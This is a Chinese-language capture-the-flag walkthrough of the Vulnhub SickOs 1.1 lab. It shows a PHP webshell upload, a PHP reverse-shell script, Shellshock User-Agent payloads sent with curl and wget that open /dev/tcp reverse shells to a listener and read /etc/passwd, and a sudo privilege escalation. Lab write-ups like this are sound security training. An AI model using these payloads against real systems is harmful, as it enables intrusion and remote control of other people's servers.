Vulnhub百个项目渗透
Vulnhub百个项目渗透——项目十二:SichOs1.1(文件上传,shellshock多种利用)
shellshock原理分析
🔥系列专栏:Vulnhub百个项目渗透
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2022年9月11日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!
巅峰之路
写在前面
这涉及到CGI以及shellshock的很多知识,这一篇就先写到这里了,下一篇会专门写这个东西的原理,挺复杂的,我会写清楚的,相信我,写出来以后会文章把po在这里
前言
本文章仅用作实验学习,实验环境均为自行搭建的公开vuinhub靶场,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。
一、梳理流程
- 端口发现(看看使用了哪些端口,开启了什么服务,寻找突破点)
- 信息收集(利用遍历,关键词搜索等方式对敏感文件,插件尝试访问,寻求突破并获取shell)
- 二次收集(基于已得到的服务或者主机再次信息收集)
- 内网提权(尝试利用内核,各种版本漏洞等方式来提升权限)
- 毁尸灭迹(清除日志等文件,但是靶场就没必要了,拿旗就走)
二、使用步骤
(一)端口发现
(二)web突破
1.漏洞扫描
nikto -h 192.168.247.141 -useproxy http://192.168.247.141:3128
看到一个robots.txt,还有一个shellshock的洞,还可能可以利用XSS
(三)cms突破
1.已知cms我们应该想什么?
看到cms,首先要想的第一个就是后台在哪,这就涉及到一个常识,也就是几乎所有的cms产生的漏洞,都来自于后台的各种服务
2.去哪里找他的后台目录
这里我给出三个方法
1.谷歌搜索,
看网上别人会不会告诉你(这个靶场我没搜到)
2.借助searchsploit来查看
searchsploit他的以往各种exp如何利用,里面应该就会有他的后台目录
searchsploit wolf cms----搜索exp
locate php/webapps/38000.txt
---因为搜索出来只有一个相对目录,所以locate查找绝对目录
cat cat /usr/share/exploitdb/exploits/php/webapps/38000.txt
--查看一下
这里就给出了脆弱url,并且我们英语好一点应该也知道这是一个文件上传的点(看目录看出来的)
3.目录爆破
在目录爆破的时候应该注意url的规律,就像这个cms,你点击很多东西就会发现他跟上了一个/?/,那么我们在构造爆破语句的时候就应该把这个加上,因为很多字典并不会有这种专门性的字段
这里是一个登录界面,要么sql,要么弱口令,但是我们在之前没有扫到sql的端口开放,那么只能是弱口令
1.bp爆破,抓包,利用现有字典
2.有一些比较有名的cms或者中间件啥的网上都有很多的弱口令
这里账号密码都是admin,我属于第三种情况,我碰到这种都会root试一下,admin试一下,我这属于运气玩家
(四)文件上传突破
登陆进去发现有文件上传的点,那么看到文件上传,应该想以下几个方面
1.能上传什么类型的文件
2.如果有限制该怎么绕过
3.上传之后的目录在哪里
4.上传成功之后如何利用
我们先随便上传一个一句话的php文件,自己写到一个php然后上传
1.方法一:一句话写入
<?php echo shell_exec($_GET['cmd']);?>
发现非常正常,甚至还能看到php已经出现在了目录中,那就很舒服
这里我们也能看到上传之后应该是在public目录中,访问了一下确实是
这就已经拿到了shell,然后我们执行一下反弹端口的命令就行,接下来介绍另外i一种方法
2.方法二:kali自带的后门自动反找
容易被检测到
cp /usr/share/webshells/php/php-reverse-shell.php .
gedit php-reverse-shell.php ---修改一下IP和端口
上传上去
本地开启一个对应端口监听
拿到shell
这个就不演示了,跟第三个一样的原理
3.方法三:大马
<?php
$sock=fsockopen('10.211.55.19',8888);
$descriptorspec=array(
0=>$sock,
1=>$sock,
2=>$sock
);
$process=proc_open('/bin/sh',$descriptorspec,$pipes);
proc_close($process);
echo phpinfo();
?>
同样也是传上去然后去到目录执行一下,本地开个端口接受即可
生成稳定shell
python -c 'import pty; pty.spawn("/bin/bash")'
(五)shellshock突破(为了拿shell,与文件上传功能一致,只不过是另一个思路)
刚才我们使用nikto发现:/cgi-bin/status 这个目录,这是一个cgi
访问:10.211.55.39/cgi-bin/status
十分明显的cgi文件,打开就长这样,kernel里面是三个被执行的命令
shellshock是什么
Shellshock - CVE-2014-6271和CVE-2014-6278 -该漏洞允许攻击者在受影响的系统上运行任意命令,使用CGI环境的Web服务器会受影响。
1.方法一
谷歌搜素得到的payload
‘() { :;}; cat /etc/passwd’
方法原理
一般来说Bash允许将shell函数导出到服务器上其他的bash实例中,是通过使用函数定义(ENV_VAR_FN)创建一个环境变量来完成的:
env ENV_VAR_FN=’() { };’
ENV_VAR_FN是在bash实例中执行命令的函数!
所以攻击方法:env ENV_VAR_FN=’() { < your function> }; < attacker code here>’
payload:User-Agent: () { :;}; echo test rong > /var/www/rong
在http头部的User-Agent发送env环境变量进行测试
payload如下
curl -x http://10.211.55.39:3128 -H "User-Agent: () { :;}; echo test rong > /var/www/rong" http://10.211.55.39/cgi-bin/status
-x 使用HTTP代理启动连接
-H 使用http头进行连接User-Agent
用curl -x http://10.211.55.39:3128代理连接,向"User-Agent:发起请求,用() {
:;};这个方式绕过,执行echo test rong >这个命令,到> /var/www/rong这个目录下,最终访问 http://10.211.55.39/cgi-bin/status
访问:http://10.211.55.39/rong —就能看到test rong信息!存在
那么就修改payload
最终payload:
curl -x http://192.168.247.141:3128 -H "User-Agent: () { ignored;};/bin/bash -i >& /dev/tcp/192.168.247.129/9999 0>&1" http://192.168.247.141/cgi-bin/status
/bin/bash -i >& /dev/tcp/192.168.247。129/9999 0>&1
这句话是找到我们本地的9999端口,自动回弹
方法二:wget走代理执行命令下载
wget -qO- -U "() { test;};echo \"Content-type: **text**/plain\"; echo; echo; /bin/cat /etc/passwd" -e use_proxy=yes -e http_proxy=192.168.:3128 http://127.0.0.1/cgi-bin/status
-qO- —将信息文本输出
-U --user-agent=代理
-e ----运行命令,execute=命令
nc -vlp 9998
wget -qO- -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/bash -i >& /dev/tcp/10.211.55.19/9998 0>&1" -e use_proxy=yes -e http_proxy=10.211.55.39:3128 http://127.0.0.1/cgi-bin/status
方法三:kali自带脚本shellshock
searchsploit Shellshock
locate linux/remote/34900.py
cp /usr/share/exploitdb/exploits/linux/remote/34900.py .
cat 34900.py 看一下需要怎么用
python 34900.py payload=reverse rhost=10.211.55.39 lhost=10.211.55.19 lport=555 proxy=10.211.55.39:3128 pages=/cgi-bin/status/
3.提权
拿到shell之后首先应该利用python上传脚本到靶场
让脚本先帮我们进行信息枚举
1.脚本收集信息
python -m http.server 8080
---在本机的8080端口开启服务器服务
wget http://192.168.247.129:8080/linpeas.sh --下载到靶场
chmod +x linpeas.sh --给权限
./linpeas.sh --执行
内核版本漏洞,直接搜索exp然后gcc编译即可,刚好也装了gcc
看到本地开启了一个mysql,我们就要想的去寻找数据库信息(mysql的配置信息一般是config,一会搜索的时候就要搜索一下)
这个用户具有sudo权限,那么确定提权方向,通过数据库配置信息找到跟这个用户有关的信息然后登录,即可成功root权限
这个开关开启了说明ssh可以执行命令
2.手工收集信息
find / -name config* 2>/dev/null
cat /var/www/wolfcms/config.php
cat /etc/passwd
su sickos
john@123
sudo -l
sudo su
刚才说到过的,具有mysql数据库,就要搜索config配置信息
,查看这个php信息
说到了数据库账号密码,登录之后没啥信息但是
检索用户,同样发现了刚才那个具有sudo权限的用户
登录的时候没有密码,就尝试用我们已知的唯一一个密码登录,成功,sudo su成功转换为root权限(root权限是这个#,而不是普通用户的$)